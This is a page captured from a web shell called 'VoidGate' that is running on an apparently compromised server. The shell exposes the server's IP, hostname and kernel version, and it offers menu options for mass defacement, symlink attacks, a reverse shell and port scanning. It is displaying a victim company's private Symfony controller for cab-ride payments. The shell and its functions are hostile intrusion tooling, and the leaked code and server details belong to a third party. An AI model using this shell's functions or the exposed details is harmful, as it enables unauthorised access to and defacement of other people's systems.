ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CabRidePaymentController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use FOS\RestBundle\Request\ParamFetcher; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException; use Nelmio\ApiDocBundle\Annotation as Doc; use FOS\RestBundle\Controller\Annotations as Rest; use AppBundle\Entity\Cab; use AppBundle\Entity\CabBooking; use AppBundle\Entity\CabRidePayment; /** * Cabridepayment controller. * */ class CabRidePaymentController extends FOSRestController { /** * Creates a new CabRidePayment entity * * @Rest\Post("/cab-ride-payments") * @Rest\QueryParam( * name="cabBookingId", * requirements="\d+", * strict = true, * description="set the id of the cabBooking related to the payment." * ) * @Rest\QueryParam( * name="paymentServiceId", * requirements="\d+", * strict = true, * description="set the id of the payment service used to make the payment. If the service refers to a cash payment method, then user making the request should have 'ROLE_OPERATOR'. " * ) * @Rest\QueryParam( * name="amount", * requirements="\d+", * strict = true, * description="the amount of the payment." * ) * @Rest\QueryParam( * name="reference", * nullable = true, * description="the reference of the payments (Needed only when performing electronic payment)." * ) * @Rest\View( * SerializerGroups = {"CAB_RIDE_PAYMENT_DETAILS", "LIST"} * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab ride payments", * resource=true, * description="Creates a new CabRidePayment entity.", * input = { * "class" = "AppBundle\Form\CabRidePaymentType" * }, * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function newAction(ParamFetcher $paramFetcher) { $cabBookingId = (int)$paramFetcher->get('cabBookingId'); $paymentServiceId = (int)$paramFetcher->get('paymentServiceId'); $paymentService = $this->getDoctrine()->getManager() ->getRepository('AppBundle:PaymentService')->find($paymentServiceId); $cabBooking = $this->get('cab_booking_manager')->getOneCabBooking($cabBookingId); $user = $this->get('security.token_storage')->getToken()->getUser(); $amount = (int)$paramFetcher->get('amount'); $reference = $paramFetcher->get('reference'); return $this->get('cab_ride_payment_manager') ->createNewCabRidePayment($cabBooking, $paymentService, $amount,$reference, $user); } /** * Updates a CabRidePayment entity (UNSUPPORTED) * * @Rest\Put( * path = "/cab-ride-payments/{cabRidePaymentId}", * requirements = { "cabRidePaymentId" = "\d+"} * ) * @Rest\View( * SerializerGroups = {"CAB_RIDE_PAYMENT_DETAILS", "LIST"} * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab ride payments", * resource=true, * description="Updates a CabRidePayment entity.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function updateAction(CabRidePayment $cabRidePayment) { return new AccessDeniedHttpException('Not supported'); } /** * Deletes CabRidePayment entity * * @Rest\Delete( * path = "/cab-ride-payments/{cabRidePaymentId}", * requirements = { "cabRidePaymentId" = "\d+"} * ) * @Rest\View( * SerializerGroups = {"CAB_RIDE_PAYMENT_DETAILS", "LIST"} * ) * @Security("has_role('ROLE_COMPANY_ADMIN')") * @Doc\ApiDoc( * section="Cab ride payments", * resource=true, * description="Delete a CabRidePayment entity.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function deleteAction(CabRidePayment $cabRidePayment) { return new AccessDeniedHttpException('Not supported'); } /** * Finds CabRidePayment entity * * @Rest\Get( * path = "/cab-ride-payments/{cabRidePaymentId}", * requirements = { "cabRidePaymentId" = "\d+"} * ) * @Rest\View( * SerializerGroups = {"CAB_RIDE_PAYMENT_DETAILS", "LIST"} * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab ride payments", * resource=true, * description="Get a CabRidePayment entity.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function showAction(CabRidePayment $cabRidePayment) { return $cabRidePayment; } /** * Lists CabRidePayment entities * * @Rest\Get( * path = "/cab-ride-payments" * ) * @Rest\QueryParam( * name="companyId", * requirements="\d+", * nullable=true, * description="If specified, fecth only the payments related to the cabs of this company." * ) * @Rest\QueryParam( * name="paymentServiceId", * requirements="\d+", * nullable=true, * description="If specified, fecth only payments made using this paymentService." * ) * @Rest\QueryParam( * name="operatorId", * requirements="\d+", * nullable=true, * description="If specified, fecth only the payments made by the operato with that id." * ) * @Rest\View( * SerializerGroups = {"LIST"} * ) * @Security("has_role('ROLE_CUSTOMER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Cab ride payments", * resource=true, * description="Lists CabRidePayment entities.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function listAction(ParamFetcher $paramFetcher) { $companyId = (int) $paramFetcher->get('companyId'); $paymentServiceId = (int) $paramFetcher->get('paymentServiceId'); $operatorId = (int) $paramFetcher->get('operatorId'); return $this->get('cab_ride_payment_manager') ->getCabRidePayments($companyId, $paymentServiceId, $operatorId); } }
Coded With 💗 by
0x6ick